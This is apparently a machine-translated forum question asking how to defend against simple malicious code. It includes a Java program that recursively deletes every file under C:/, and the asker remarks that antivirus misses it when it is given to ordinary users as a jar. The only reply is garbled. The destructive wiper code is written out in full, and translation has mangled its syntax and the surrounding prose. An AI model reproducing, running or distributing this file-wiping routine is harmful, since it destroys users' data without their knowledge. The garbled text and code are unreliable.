Home > Back-end >  How to defense low-level malicious code
How to defense low-level malicious code

Time:09-25

The following the code package jar to ordinary users, antivirus software will not be detected, so how to keep the code?
 import Java. IO. The File; 

Public class Del {

/* *
* empty the entire folder
* @ param file file object
*/
Public static void del File (File) {
The File files []=File. ListFiles ();
For (File f: files) {
If (f.i sDirectory ())
Del (f);
F.d elete ();
System. The out. Println (" deleted "+ f.g etAbsolutePath ());
}
}

Public static void main (String [] args) {
//delete all files in the usb flash drive
The File File=new File (" C:/");
Del (file);
}

}

CodePudding user response:

Killed to write the code
  • Related